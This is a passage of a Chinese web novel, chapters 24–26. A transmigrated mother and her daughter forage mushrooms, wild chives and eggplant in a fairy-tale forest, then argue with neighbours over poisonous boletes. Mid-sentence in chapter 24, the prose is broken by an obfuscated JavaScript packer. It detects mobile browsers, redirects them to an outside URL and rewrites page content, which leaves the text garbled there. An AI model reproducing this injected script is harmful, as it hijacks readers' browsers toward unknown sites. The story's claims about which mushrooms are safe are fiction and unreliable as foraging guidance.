听别人议论自己怪怪的。 她这一动作，引来许多注目。见是生面孔，大家还多看两眼，随即，目光齐刷刷集中在旁边鬃毛黑亮的骏马身上。 他们的眼神，像极了前世的尤兰达看路上缓缓驶过的大G、法拉利。 恰好这时，前方人头攒动的地方传来梆梆梆的铜锣声，两条巷子的户长声嘶力竭呼喊： “听好了，不管走多深，听到第九时祷的钟声就开始返回，太阳落山前必须离开林子。 各家各户约定一下，如果有人不在，请转告沃格特户长、马克户长。 禁止林中私斗，护林员会检查你们的收获，不要违反规定。” 规矩一直如此，长居于此的居民再熟悉不过，各自和熟人闲聊，着急户长怎么还不宣布开始。 “最多翻两条山沟，小心撞上野猪没人帮忙。” “老猎户说，深山里下了两场雨，河流水急，想捕鱼的伙计掂量着点吧。” “不要吃山里的蘑菇，不管你认识不认识，如果你不想死。” “最后，照顾好孩子们。” 户长吼完注意事项，胳膊一挥，示意大家进山。 也巧，他胳膊一放下，第三时祷的钟声悠扬传来。 像信号枪，得到信号的大家哄一下散开，争先恐后钻入林子，很快被树影吞没了身影。 尤兰达第一次参加矮人巷团建，新鲜的很，一路观察邻居们。 青壮年们成群结队，扛上斧头绳索，目标明确，径直往深山里去。 妇人们挎着篮子，背上箩筐，不紧不慢走在后面，沿途摘些野菜，捡些枯枝落叶。 年纪小的孩子们挎个小篮，只在山林外围打转，摘几颗浆果塞嘴里解解馋。偶尔想起自己是来找木柴的，敷衍扒拉几下地上的枯枝。 十五六岁的半大孩子，基本被当大人用了。他们三三两两聚在一起，讨论着哪片林子柴多、哪条溪能捞着鱼。 这一带有太多人扫荡，没剩多少她们看得上的资源，尤兰达索性驾着马深入。 树木越来越密，草丛越来越丰茂，空气中弥漫着潮湿清冽的草木香气。 这时，邻居们的说话声也越来越遥远，只剩隐约的人影在林间晃动。 尤兰达正犹豫要不要深入，眼睛随意往四周一扫，当即改变主意。 一丛丛的野韭菜，近在咫尺，沿着林间小道铺展开去，密密匝匝，一眼望不到头。 野韭菜，也叫鹿耳韭，搁东北那疙瘩，人们管它叫山葱。 别看它叶片宽厚没个韭菜样，实际和大家熟知的细长韭菜一个味，有过之无不及。 糖醋腌渍裹烤肉味道一绝，泡菜酱腌拌饭馋哭小孩，凉拌、炝炒、煮汤……就没有不好吃的做法。 这么一大丛，足以腌上两三缸，冬天的小饭桌又多了一道爽口菜。 她兴冲冲跳下车，想采点回去炒鸡蛋包包子。 木棍一扫，惊走蛇虫鼠蚁，倒意外找到了零星散落的鸡腿菇。 沿着鸡腿菇生长痕迹眺望，哗啦啦的溪流对岸，布满苔藓的混交林里，密密麻麻的牛肝菌、珊瑚菌、榛蘑，个个又肥又大。 这片林子多是橡树、山毛榉、松树、云杉、白桦、桤木等混种，共生菌菇丰富多样。 正是蘑菇泛滥的季节，两场雨后，一眼望去，就跟捅了蘑菇窝似的。 采回去做成菌菇酱、晒菌菇干，够她们吃一整个冬天。 漫山遍野的宝，这趟进山算来对了。 尤兰达挽起罩裙袖子，双眼冒出绿光。 捡菌子咯！ 24.第 24 章 尤兰达像掉进米缸的老鼠，乐疯了。 她找了棵树拴住大G，背上背篓拎起藤篮，招呼菲奥娜跟来帮忙。 菲奥娜颠颠儿跑来，一脸茫然：“帮什么忙？” 四下里除了草还是草，没见着有什么东西。 “有树枝捡树枝，遇到粗树干叫妈妈帮忙。找不到树枝就采这种宽叶子草。 它叫鹿耳韭，可以做出非常美味的食物。”尤兰达蹲下薅了一把宽叶子，教她怎么认、怎么摘。 菲奥娜碎碎念，采野草算怎么个事啊。 她想撂挑子不干，一听说可以做成好吃的东西，嫌弃表情收敛，二话不说跟着学。 尤兰达指着四周一大片圈了个位置：“你就在这里采鹿耳韭，别跑远，有事情大声呼喊，我能听见，护林员在林子里巡逻，听到声音也会赶来。” “采嫩的叶子，老的不好吃。采好的叶子叠整齐铺进筐子里，折坏了影响口感。 捡来的树枝堆车上，松球装另一边筐子里，注意平衡一下两边重量……” 菲奥娜点头如捣蒜。 采鹿耳韭，和野外采花差不多，不难。 捡树枝和松球，能弯腰就能做到，也不难。 “放心吧妈妈，我能做到。”菲奥娜拍着胸脯保证。 尤兰达见状，又提醒她记得先拿木棍扫一扫草丛，惊走里头藏着的小动物，免得被咬。 然后带上砍刀和铲子离开。 她没走远，直奔附近的几丛鸡腿菇。 鸡腿菇白白胖胖，散落在草地里，徒手就能掰断，三两下工夫便装满了篮子。 她把背篓搁在旁边，采满一篮倒一篮进去，再起身去找下一丛。 采着采着，不知不觉走偏了方向，等她想起自己还打算去河对岸看看，刚直起腰，一阵微风吹过，伏低的草叶间，现出一片深藏的灿黄。 尤兰达一喜，几步绕过老杉树，跨过土沟扒开草丛。 黄灿灿的，大朵大朵挨挨挤挤，果然是鸡油菌。 尤兰达都震惊了，这也太多了吧！ 她哪还舍得离开，鸡腿菇一股脑倒进背篓，转身回来专心采鸡油菌。 一手采一把，一会就采了两手握不拢的量，尤兰达合理怀疑，卖山货的小贩肯定偷懒了，瞧这一群群的，简直泛滥成灾。 她想起小时候跟爷爷奶奶上山，常常走上半天才能发现一两丛，采蘑菇的人太多，两老一弱的组合根本抢不过别人。 眼前这一大片，安安静静长着，没人和她抢。 篮子采满了倒进背篓，背篓装满了送去箩筐，一趟趟跑下来，母女俩的收获肉眼可见地堆了起来。 她抽空瞅两眼：野韭菜小半筐，鸡腿菇大半筐，鸡油菌差不多半筐的样子。 尤兰达估摸了下，半上午的时间，装满六个箩筐不在话下。 菲奥娜正巧来送新一篮野韭菜，望着几筐蘑菇，心惊胆战。 “妈，户长说不能随便采蘑菇，会死人的。” 吃毒蘑菇会死人，这是小孩子都知道的生活常识，大家绷紧了皮，不敢随便吃更不敢采摘不熟悉的菌类。 尤兰达从筐子里各挑出一种递去，“看，这叫黄鸡油菌，杆子细细的，颜色亮亮的，伞盖一点点大。最喜欢长在湿润的地方，一发现就是一群。” “这种褐色的也叫鸡油菌，伞盖颜色深，喜欢长在杉木附近。” “喏，这种是最常见的鸡油菌，我们在集市上见过的，杏黄的颜色多漂亮啊，伞盖很特别，像不像裙摆花边？” “白色的不常见，叫鸡腿菇，看它造型，是不是和鸡腿一个样？这种也能吃，无毒的。” 菲奥娜不觉得它们有什么区别，在她眼里，只分好看和不好看。 听尤兰达一通头头是道的讲解，一样一样指给她看哪些能吃、哪些不能，她心里九分怀疑不知不觉去掉一半。 “看那边，是不是有一丛橙红的蘑菇？它叫红孔牛肝菌，那才是毒蘑菇，吃完躺板板。” 顺着尤兰达手臂所指方向望去，菲奥娜果真找到一丛颜色鲜亮的蘑菇。 她后怕不已，前不久捡柴的时候路过几次，她差点就用手碰了。 尤兰达再三提醒：“牛肝菌品种多样不容易分辨，你别采蘑菇，我来。” “不采就不采，我可不敢碰。”菲奥娜双手藏背后，要不是老母亲吩咐，她连野韭菜都不想碰，“妈，我看到那棵大松树后面有倒下的树干，我拖不动。” 尤兰达掂起斧头走去，菲奥娜紧跟上去为她引路。 两人身影走远，不一会，五六位夫人结伴走向十几米外的红孔牛肝菌丛。 “莉亚~快看啊，有牛肝菌，这和我昨天从汉斯手里买来的一样。” “你确定吗？我实在分不清牛肝菌的种类，它们都不太好看。” “当然，亲爱的，相信我。”瘦高的金发夫人自信昂头，率先采摘起蘑菇。 “我只摘三个，够煮今晚的麦粥就好。”蓝裙子夫人迟疑蹲下。 系着灰麻围裙的夫人见状，也放下篮子，轻扒湿润绿苔。 缓坡之下，母女俩合力把倒下的树干分成小段，一段一段运回车上。 捡完枯木，尤兰达安排菲奥娜留守原地，看住大G和木柴，自己去对岸。 溪流蜿蜒，一根横跨水面的粗壮枯木成了天然的桥，从上面蹭掉的青苔痕迹不难分辨，前面有不少人走过。 小溪不算宽，但因刚下过雨，水流略急。 她踩上树干一点点挪过去，一跳到岸边碎石堆，进入林间，仿佛闯入了童话森林。 满地的青苔，厚得像铺了一层绒毯。一丛丛壮硕大蘑菇从苔藓里冒出来，可可爱爱。树上垂挂着沾了雨水的松萝，风一吹，晃晃悠悠荡着，水滴淅沥。 抬眼眺望，远处坡地杵着几棵粗壮的杉木，瞧着三四个人手拉手都抱不住，泥土里延伸出来的树根比她大腿还粗。 搁现代，这一片怎么也算原始森林了。 尤兰达只恨自己不能掏手机拍个视频留念，欣赏好一会，放下背篓，摩拳擦掌准备进货。 别说，除了弯腰下蹲有点累，采菌子可太解压了。 虽然她现在没什么压力。 不到半小时，背篓装满牛肝菌和榛蘑，手里捧着两棵新发现的大蘑菇无处安放。 “嘿，夫人，你不要命了吗？小心蘑菇有毒。” 尤兰达瞄见不远处的枯木有大丛大丛黑亮的东西反光，形似黑木耳，才想去前面探探，身侧方向传来呼喊。 扭头一看，巧了，是小红帽的妈妈，海伦夫人。 她篮子里装着羊角芹，还有一小捧鸡油菌，一脚深一脚浅地踩着苔藓走过来。 “谢谢你海伦夫人，不过我认识它们，不会出事的。”尤兰达感谢她的好意提醒。 “亲爱的，我知道你无法拒绝它们，我也不能，不过你该更小心点。”海伦夫人一脸不赞同，频频瞄向尤兰达手里的黑蘑菇。 尤兰达垂眸，顿时了然。 黑熊掌菌，一种当地人不吃的蘑菇。他们不确定有没有毒，索性就绕着走，碰都不碰。 “海伦夫人，这是黑熊掌菌，我认识它，我确定它没有毒。 在搬来皇城之前，我见邻居家吃过它们，很美味的一种蘑菇。” 尤兰达语气笃定，海伦夫人将信将疑看她一眼，到底没多说什么。 “好吧，或许是你们镇子上的农夫更厉害。” 海伦夫人冲她微微笑，转身去了另一边。 尤兰达等人走远，径直迈步走向一根冲天翘起的枯木。 离枯木几米远的时候，她已经能确定，确实是她认识的黑木耳。 尤兰达直呼自己运气好。 天然野生黑木耳，一种看似老实巴交、纯朴憨厚、黑不溜秋的菌菇，实际心眼子贼多。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277974|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小玩意专挑刚下过雨的丛林冒头，还只愿意长在枯木上，且非橡木不可，别的木头它不稀罕。 雨后的黑木耳肥嫩宽厚，摸上去软弹弹，口感比手感更好。 但凡她晚来一天两天，连黑木耳的影子都别想瞧见。 当地人同样不怎么吃黑木耳，只把它当药用，还是那种不多见的非常用药。 她越采越兴奋。 枯木自带菌种，一大片未长成的木耳幼崽，全部移去空间带回家慢慢养，够吃好几波。 她美滋滋砍断枯木，收进空间。 收起砍刀转身一看，嚯，又是一丛黑木耳，旁边遍地伞肥杆壮的牛肝菌。 尤兰达咧嘴笑出声。 采不完，根本采不完。 她一趟趟往回折返，把菌菇往箩筐里送，光菌菇一类，少说有一百来斤，放地窖阴干能剩个十多斤左右。 以前和爷爷奶奶跑山，大多数时候一天收获在50斤上下浮动，时间几乎浪费在爬山和寻找上，出菇旺季再加上运气极好，才能有100斤以上的漂亮成绩。 这里的山林不一样，土地肥沃竞争少，无需走远，伸手一捞一大丛，摘都摘不过来。 尤兰达收获颇丰，菲奥娜也不遑多让。 小姑娘嘴上没少抱怨累，摘野韭菜的动作却没慢过，这会已经装满了一筐，开始四处捡木柴。 尤兰达瞧了瞧满载的马和空荡的车，不禁莞尔。 本末倒置了，说好上山砍柴的，结果捡蘑菇上瘾。 好在才过去一上午，下午专门用来捡木柴，怎么也来得及。 尤兰达卸下重死马的菌菇堆放到板车上，冲菲奥娜招招手。 “走，洗手去，吃午饭。” 两人蹲在溪边，撩起清凉溪水搓洗手上泥土和菌菇汁液。 尤兰达闲不住，往上游下游方向张望，没想到溪边还挺热闹，成群结队的人洗手洗脚，看来大家上午都挺忙。 终于有机会和妈妈坐下来说话，菲奥娜连连诉苦： “妈，我腰快断了……”“妈，那个野韭菜采得我手酸了……”“妈，你不知道我捡了多少松球……” 尤兰达笑眯眯听她念叨。 直到拆开麻布包，看见里头码放整齐的馅饼糖饼，她才闭上嘴。 惦记一上午的饼子，可算吃进嘴里了。 “嚼嚼嚼……妈，你做的卷心菜馅饼怎么和外面的不一样？好好吃啊。”菲奥娜又抓起一块糖饼咬了一大口，“妈，你好厉害，怎么做出来糖饼的？甜甜……” “呱呱呱！”略显聒噪的蛙叫打断了她。 尤兰达和菲奥娜齐齐低头，一只肥嘟嘟的绿青蛙蹲在溪边的石头上，喉部一鼓一鼓。 菲奥娜愣了一会，分辨片刻，蓝眼睛怒瞪：“噢——臭青蛙，你怎么又来了！快走吧，别跟着我。” 青蛙一动不动：“呱。” 菲奥娜鼓起腮帮子，凶巴巴吓唬它：“我妈妈超凶，她会踩死你。” “呱呱呱呱呱！” 青蛙转了转头，露出极其人性化的委屈表情，叫得又急又响。 尤兰达懵了，“不是，你俩怎么聊起来的？” 菲奥娜扭头告状，絮絮叨叨说起缘由：“妈，这只臭青蛙能听懂我的话，它还跟着我，怎么赶都赶不走。” 她采了一上午野韭菜，回过神发现身后不远不近蹲了只青蛙。 她故意跑远，东一圈西一圈，一圈又一圈，青蛙锲而不舍跟在身后，阴魂不散似的。 本来不怎么怕青蛙的菲奥娜心里直发毛，挥舞树枝赶它走，圆鼓鼓的蛙眼却露出祈求神色。 菲奥娜一怔，差点以为见幽灵了，立即威胁要踩死它，青蛙这才一蹦一回头，呱呱呱躲远。 结果倒好，以为摆脱了它，吃着午饭呢，臭青蛙又跟了来。 尤兰达盯着青蛙瞅了一眼又一眼，面色古怪。 是正经青蛙吗？ 25.第 25 章 众所周知，童话世界的森林从不缺奇遇。 女巫、猎人、地精，长居山林，国王、公主、王子，最喜欢钻树林。 通人性的青蛙……不怪她多想，听起来就不正常，十有八九人变的。 但尤兰达没证据。 “或许只是饿了吧。” 她随口胡诌，脑子里却在想：要不找个大方的邻居，和青蛙嗦个嘴子试试？ 菲奥娜当真了，护住手里的饼子，骂道：“嗷！坏心眼的青蛙，原来是想吃我的馅饼。” 她当着青蛙面，啊呜一口塞进嘴里，宁愿噎着自己也不让青蛙占便宜。 青蛙一动不动，瞪着眼睛直勾勾瞅着两人。 尤兰达幽幽开口：“要不，我们抓住它吧？” 菲奥娜看向她，眨着蓝汪汪的大眼睛。 尤兰达：“小青蛙生来是被人吃的，它的大腿肉最嫩、最香、最有价值。不用特别复杂，剥皮后剁成小块，爆炒、干锅、椒盐、水煮……” “呱呱！呱呱呱！呱！” 小青蛙一顿狂呱，惊悚万分的倒腾四条腿，头也不回扎进草丛里。 “妈，我们什么时候吃青蛙？”菲奥娜盯着青蛙消失的方向，直舔嘴唇。 尤兰达笑得温柔核善：“等它下次再敢惦记你馅饼的时候。” 小青蛙果然能听懂人话，瞧它骂得多脏啊。 “留两块饼，下午累了吃，你继续守着马，我去附近砍柴。”尤兰达三两口解决午饭，灌一口苹果水，拍拍裙摆起身。 菲奥娜咂咂嘴，念念不舍收起最后一块糖饼。麻布刚包好，她就开始怀念它甜滋滋的味道。 大概是上午采蘑菇用光了她们的好运气，下午两人重点找木柴时，已经没几个漏可捡。 她们望着车上一双手数得过来的枯木段，陷入羞窘的沉默。 菲奥娜坚定道：“一定是被其他人先捡走了。” 尤兰达挠挠头，稍显尴尬。 一捡起菌子就发了狠忘了情，忘记遍地菌子没人要，下午捡也一样，人人争抢的木柴才应该第一时间划拉到自己车上。 “咳咳，菌子多好啊，可贵了。以后做小鸡炖蘑菇，香死个人。”她安慰菲奥娜，也是安慰自己。 菲奥娜一点不担心：“捡柴太累了，我们可以找大约翰买柴吧。” 尤兰达附和点头，“这主意真不错，有钱什么买不到啊，是不是？ 大不了回去多买几斤煤，咱们一次性搓它几百个煤球，还怕冬天过不下去？” 一听又要搓蜂窝煤，菲奥娜立即垮下小脸。 尤兰达揽住她肩膀哄道：“那时候我们就聘得起杂役了，用不着你出力，傻孩子。” 菲奥娜这才缓了缓神色，念叨一句“上帝保佑”。 离第九时祷还早，这时候折回去太浪费机会，尤兰达见附近实在无柴可捡，干脆放开手脚多捡点菌子。 前面担心珊瑚菌太重太占地方，一直没敢捡太多，这会敞开了，见一个带走一个，来者不拒。 菲奥娜想偷会懒，刚坐下没两分钟，就被尤兰达抓个正着，催着去摘野韭菜。 尤兰达使劲诱惑：“野韭菜做鸡蛋韭菜馅的包子香着呢。你要不爱吃包子，韭菜盒子、韭菜饺子、炒韭菜、烤韭菜多着呢，你就吃去吧，一星期不重样。” 菲奥娜受不了老母亲的念叨，连连告饶，老实干活。 尤兰达笑了一会，去路边摘随处可见的鲁冰花，蓝的紫的粉的各折几支，回去带给西芙拉。 菲奥娜那张嘴，回去少不了和姐姐炫耀，折几支花带给她，就当是端水了。 摘满一篮子，尤兰达准备离开，走出去两步硬生生顿住。 什么宝藏森林啊，她居然发现了野生茄子。 无人打理的纯野生，虽然形状不算太好看，但她绝对不会认错。 妙啊，原来它长在野外了。 尤兰达逛了几天市集，没见过类似茄子的食材，差点以为黑森王国没这玩意。 她一点不客气，快步冲过去，一股脑掐走上面挂的四根短茄子。 “妈！你快扔掉它，那是所多玛，有毒。” 尤兰达正埋头整理篮子，刚把茄子塞严实，菲奥娜惊恐的呼声倏地炸开。 “所多玛？” 尤兰达吓一激灵，低头看了看篮子里歪扭的紫皮茄子，抬头看向菲奥娜写满担忧的小脸，低声重复。 “对，所多玛！”菲奥娜直跺脚，“妈妈你忘了吗？它有毒，吃了会死人。” 尤兰达恍然大悟，终于把茄子和记忆里的所多玛对上号。 原主的记忆深深刻着时代烙印，对身边万事万物，都带有本地人根深蒂固的主观认知与滤镜。 譬如她们栖身的酒馆，原主印象里狭窄破旧、不宜居住，可尤兰达踏足后发现，这里非但不狭窄，也不如记忆中破败。 再如她们从前爱吃的烤羊腿，原主滤镜百米厚，记忆里喷香诱人，是天下第一美味的食物。 然而现实情况，烤羊腿血水滋啦，腥膻刺鼻，难以下咽。 茄子也如此。 原身记忆里，关于所多玛的印象非常扭曲，它们“不可触碰”“罪恶”“有毒”，以至于连茄子的紫皮在原身看来都相当“恶心”。 实际上嘛，它冤枉得很，就一做地三鲜、风味茄子、肉沫茄子的正经茄。 所多玛，全称为所多玛苹果，意思是“罪恶的产物”“不虔诚的果实”，代指所有当地人认为的有毒、美丽、诱人的物种。 不止茄子，什么野葫芦、苦瓜，包括大多茄科植物，通通归进所多玛名下，一棍子打死。 她手里的所多玛茄子，在当地尚未开发出食用功能。 世人眼中，它们好看，但没用，诱人，但有罪，通常种在贵族花园里观赏。 “谁告诉你吃了会死人？” 菲奥娜愣了愣：“都、都这么说啊。” 尤兰达没急着解释，放下篮子，拎起一根茄子，在菲奥娜面前晃了晃。 “太遗憾了，他们不知道自己错过了什么。”她掰下一小块，直接塞进嘴里。 菲奥娜爆发出短促尖叫，整个人僵在原地，不知所措。 “上帝啊，妈妈，你疯了吗？这是所多——” “没死，你看，我还活着。”尤兰达活动胳膊腿，证明自己还在呼吸。 菲奥娜张着嘴，半天说不出话。 她的三观受到了冲击，神情一片空白。 妈妈找到了所多玛。 妈妈吃了所多玛。 妈妈……没死！ 尤兰达擦了擦手，慢条斯理开口：“黑森王国没人吃它，是因为没人告诉大家这东西能吃。” “在别的地方，比如往南走翻过几座山有几个国家，人家拿它当菜，炸着吃、烤着吃、炒着吃，跟肉一起煮着吃。” 可惜，她找到的是没经过科学家优化的过时品种，皮有点厚，口感比她吃过的茄子差远了。 尤兰达把掰过的茄子塞回篮子，“它们叫茄子，不知道怎么，传着传着就传成了‘有毒’。” 菲奥娜眼睛瞪得溜圆，一会儿看看茄子，一会儿看看尤兰达，像在确认她到底是不是因为中毒才开始说胡话。 尤兰达忍俊不禁，揉一把她溜圆的后脑勺：“别瞪了，回家给你做一顿，你就知道谁说的是真的了。” 菲奥娜咽了口唾沫，抗拒意味明明白白写脸上。 就算它没毒，可长这么丑，能好吃到哪去？ 接下来，菲奥娜一边摘野韭菜，一边时刻关注尤兰达的状态。 她太怕妈妈趁她不注意偷偷死掉了。 尤兰达被她盯的汗毛直竖，第九时祷钟声一响，她拍拍屁股从蒿草堆里爬起。 “走，咱们回家。” 她跳上板车，伸手把菲奥娜也拽上来，一抖缰绳，大G慢悠悠往山下晃。 说“下山”都算给母女俩挽尊。 两人一整天绕着第一道山沟子打转，搁当地人眼里，只能算山林外围。 所谓的下山，相当于坐一趟滑滑梯，连下坡都算不上。 她们来的不早不晚，山林边缘已经围聚不少居民，极其缓慢的速度向外挪。 尤兰达钻出队伍一瞧，原来前头设立了关卡，护林员为大家“安检”呢。 她嘱咐菲奥娜看好东西，自己凑上前去看热闹。 这一凑才知道，护林员专门堵人，检查大家捡来的木柴和猎到的猎物。 查什么呢？ 尤兰达盯了大半天，终于弄明白了。 他们查猎物疏松，不是孔雀、老虎、鹿之类的，一概不管。 查木柴最严格，他们看木柴的截断面和树皮部分，一旦查出疑似从活树上现砍下来的，二话不说没收木柴，收取罚金。 皇室划分出公共林区，允许居民捡柴火、打猎、获取山货，唯独砍伐活树的行为绝对禁止。 砍活树一是影响树木茁壮生长，二是侵犯领主的利益。 秋冬时节来临，护林员们会砍掉树木上的枝叉，好让树木来年长得更茂盛，而砍下的部分，则运出去做木柴生意。 据原身所知，领主们光是靠冬季售卖木柴，进账就能达到100枚金币。而拥有更多山林的大领主，赚得只多不少。 领主们为了维护自己的财产，可不严防死守，听说有的领地，连猎户打了野兔都要交税。 尤兰达望了望后面越来越长的队伍，羡慕得眼睛通红。 人家才是上山进货呢。 瞧瞧他们，身上背着柴，手里提着滴水的鱼，蹬腿的兔子栓腰上，扑腾的野鸡挂柴上，青壮年几乎个个如此。 再说妇人们，她们也不差。 背篓里各种野菜，鸡油菌只一小丛，不知道哪来的鸭蛋鹅蛋鸟蛋，小心放在中央，篮子里更是堆了五花八门的野果子。 尤兰达瞅了瞅，除了常见的浆果，有不少野苹果、野梨子、欧楂、山茱萸等。 她们呢？满车的菌菇格格不入。 尤兰达心里不得劲。 嗐，眼皮子浅了。 下次进山，她也要打猎！ 她挤过人群回到队伍里，没等靠近，就见许多人围着她的板车，窃窃私语。 尤兰达心里一咯噔，以为出事了，走近后听清大家的说话声，舒了一口气。 “大胆的女孩，你应该谨慎点，森林里的蘑菇不全都能吃的。” “天呐，你只有这点木柴？” “你的家人呢？只有你上山吗？” 大家七嘴八舌，告诫落单的菲奥娜，谨慎采摘陌生菌菇。目光扫到板车上的几根枯木，又怜悯又无奈。 真是个傻子，怎么光采菌菇了。 小傻子菲奥娜脸色忽青忽白，大傻子尤兰达局促不已。 她走进包围圈，嘴硬：“感谢夫人们关心，我们家更需要菌菇，幸好我知道一点采蘑菇的技巧。” 夫人们仍是一脸不认可。 放着木柴不捡，去捡没什么用、还可能有毒的蘑菇，太不明智了。 “太多了，山下的小贩都没你们手上的多。你们愿意卖一点给我吗？”有夫人好奇追问。 她探着脖子看了看车上箩筐，鸡油菌的金、牛肝菌的褐、榛蘑的蜜黄，混在一起数量着实不少，看着就喜人。 尤兰达张了张唇，想说不卖。 “噢~你疯了吗？”身侧插进来一道声音，“街上多的是卖菌菇的小贩，他们可是从老农户手里买来的菌菇。” 插话的夫人上下扫量尤兰达，那眼神，就差直说她的菌菇有毒了。 提出买菌菇的夫人瞬间冷静，迟疑后退，再不提买菌菇的事。 旁边几个原本想拿东西换点菌菇的夫人，也收回了心思。 “小姑娘，听我一句劝，”裹着杏色头巾的胖夫人凑近，指着黑木耳摇头，“这东西我们从来不吃的。” “对对对，”瘦高的金发夫人连声附和，“旁边几个黑黑大大的，我们从没在市集见过，你也敢采？” 菲奥娜脸都白了，下意识往尤兰达身边靠了靠。 尤兰达扯出礼貌微笑：“我们吃过它，很确定它们没毒。” 瘦高夫人见她冥顽不灵，摇着头叹气，直念叨“上帝”，似是不忍见她们被毒死。 “傲慢的夫人，你会为自己的自大付出代 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“这真是……”艾米丽唉了一声，抬脚离开。 她这一转身，露出一直被胳膊挡住的篮子，里面七八朵橙红、灰白的蘑菇，东倒西歪。 尤兰达随意抬眼扫过，目光倏地定住。 她不确定的多看两眼后，心猛地一沉。 好家伙，红孔牛肝菌、魔鬼牛肝菌、兰茂牛肝菌，净挑毒蘑菇采，一朵比一朵毒。 “等等，艾米丽夫人，你篮子里的蘑菇有毒，不能吃。” 眼看艾米丽要走出人群，尤兰达嘴比脑子快，拔高声音喊住了她。 话音落下，苏珊和艾米丽齐齐扭身回头，周边未散去的夫人也一同停下脚步，齐刷刷侧身回望过来。 然后，人群爆发出一阵震天哄笑。 “天呐，富商夫人在教我们认毒蘑菇。” “艾米丽，你是不是吓死了？富商夫人说你的蘑菇有毒。” “夫人恐怕吃多了培根和肉肠，分辨不出蘑菇了吧？” 苏珊夸张的捂肚子笑了一会，才搭腔：“得了吧，我们经常采蘑菇，绝对不会认错。倒是你，费尔南多，关心关心你自己的蘑菇吧。” 嘲笑过后，众位夫人打算离去，前面的队伍在缩短，快到她们了。 尤兰达径直迈步上前，拦住艾米丽。 “橙红色的叫红孔牛肝菌，有毒，和酒同吃，连上帝都救不了。 灰色的叫魔鬼牛肝菌，也有毒，它的气味就是撒旦的警告。 艾米丽夫人，谢谢你先前对我和女儿们的关心，做为感谢，我不得不提醒你。 如果你愿意相信我，把它们都倒了吧。” 她没有回怼、没有争辩，一字一句清清楚楚，严肃郑重的看着艾米丽。 人群里，笑声渐渐收了，不少夫人心里开始打鼓。 红孔牛肝菌的名字她们没听过，魔鬼牛肝菌的大名无人不知，小贩总说它有多难区分，趁此给能吃的牛肝菌抬价。 难不成……她真的懂？ 艾米丽扶住篮子沿，指节泛白。 她实在不知道该不该相信尤兰达。 苏珊一把拽过艾米丽的胳膊，用力扯到自己身后，话音带刺：“你吓着艾米丽了。费尔南多夫人，管好你自己，你那满车的毒蘑菇还没处理呢。” 旁边几位夫人交换着眼神，小声嘀咕起来： “自己落魄了，就见不得别人吃点好的？” “说实话，我相信艾米丽。我们经常一起上山，不是吗？” “就是，她要真采了毒蘑菇，早出事了好吧。” 人群渐渐散开，往山下挪动。 被苏珊拽得直踉跄的艾米丽夫人，心不在焉回应大家的安慰，等没人注意时，她忍不住回头望去。 尤兰达站在原地，看她们三三两两通过安检，走过关卡。 她叹了口气，算了，已经提醒过了，没人信不是她的错。 护林员这时放下车板上的枯木段，挥挥手：“没问题夫人，可以离开了。不过我得说，你们是所有人中收获最少的，我保证。” 尤兰达默了默，怎么连护林员都要贴脸开大啊。 离开山林外缘，踏入矮人巷巷尾，巷道两边格外热闹，挤满交换物资的居民。 有人用木柴换兔子，有人用鸭蛋换鲈鱼，还有人用浆果换松球，摆摊卖木柴、野鸡、野兔的多不胜数。 “夫人，要买兔子吗？今天刚抓的，十个铜币就好，比集市上便宜多了。”十二三岁的小孩来到车前，提着兔耳朵晃了晃。 尤兰达略有犹豫，七八斤的兔子，太瘦了。 “我要两只，一公一母，有吗？” 小孩愣了一会，“有的有的，夫人等我一会。”他拔腿往回跑拿兔子。 一旁游荡的小贩见她出手爽快，也抱着野鸭推销：“夫人，看看我的野鸭，下午才抓的，我只要二十铜币。” 野鸭瘦瘦小小，耷拉着脑袋，一副要死不活的样子，尤兰达摆摆手，婉拒了。 她跳下车，拎起背篓钻进人群，加入居民们的交易。 一斤鸡油菌换二十个梨子，一斤榛蘑换三十多个苹果，来回几趟，尤兰达脸上笑容越来越盛。 菲奥娜皱眉：“妈，野梨子不好吃。” 尤兰达将换来的梨子苹果堆进野韭菜筐里，头也不抬的说：“不吃的，妈妈要用它做泡菜。” 菲奥娜挠着头回忆一会，确定自己没有吃过所谓的泡菜。 “妈妈妈妈，泡菜是什么味？”她眨巴眼睛，兴奋搓手。 尤兰达敷衍：“当然是泡菜味啊。” 装好梨子苹果，送兔子的小孩跑了过来，尤兰达摸出二十枚铜币递过去，拎起兔子往菲奥娜怀里一丢。 菲奥娜手忙脚乱地接住，摸着柔顺白毛，心花怒放：“兔兔真可爱，我要给它做蕾丝裙——” “你想吃烤全兔吗？或者尝尝风干兔？”尤兰达吸溜口水，拿不定主意。 菲奥娜一呆：“……啊？” 26.第 26 章 尤兰达既想吃烤兔子，也想吃风干兔，还想吃兔肉火锅。 于是，两只兔子幸运的逃过一劫。 兔子繁殖力惊人，带回家好好养，用不了多久就过剩了，到时候想怎么吃怎么吃。 吃一只兔子还是吃一窝兔子，她分得清轻重。 两人驾马穿过集市，顺道买了一篮子大蒜、几罐果醋果汁，以及一个藤编笼子，满载而归。 车马拉进棚子里时，夕阳的余晖将天边染成浓郁的橘红，好一个朝九晚五的作息。 尤兰达利落跳下车，拎起笼子丢去柠檬树下，转身去菜园剥了几片老得不能吃的莴苣叶铺进去。 “小菲，别抱着兔子玩了，让它们进笼子里。”尤兰达喊了一嗓子，去井边打水洗手。 菲奥娜梳理着兔子背脊上柔软绒毛，摸够了摸爽了才将它们送进去。 来到陌生地方，两只小家伙惊魂未定，鼻子急促抽动，菲奥娜不忍心，多摘了几片嫩叶子喂去嘴边。 尤兰达抓了把草木灰搓手，抽空揶揄：“瞧你那稀罕劲儿，要不今晚就炖给你吃？” 菲奥娜俏脸一皱，扭头大声抗议：“妈妈！你简直是恶魔。” “我们讨论吃青蛙的时候，你可不是这么说的。” “青蛙哪里有兔子可爱？”菲奥娜理直气壮辩驳，撸了撸兔耳朵，“小可怜，多吃点，我会保护你的。” 尤兰达闷笑一声，不再逗她，扭头呼喊西芙拉出来帮忙。两人从日出采到日落，差点直不起腰，到家后恨不得立刻瘫着不动。 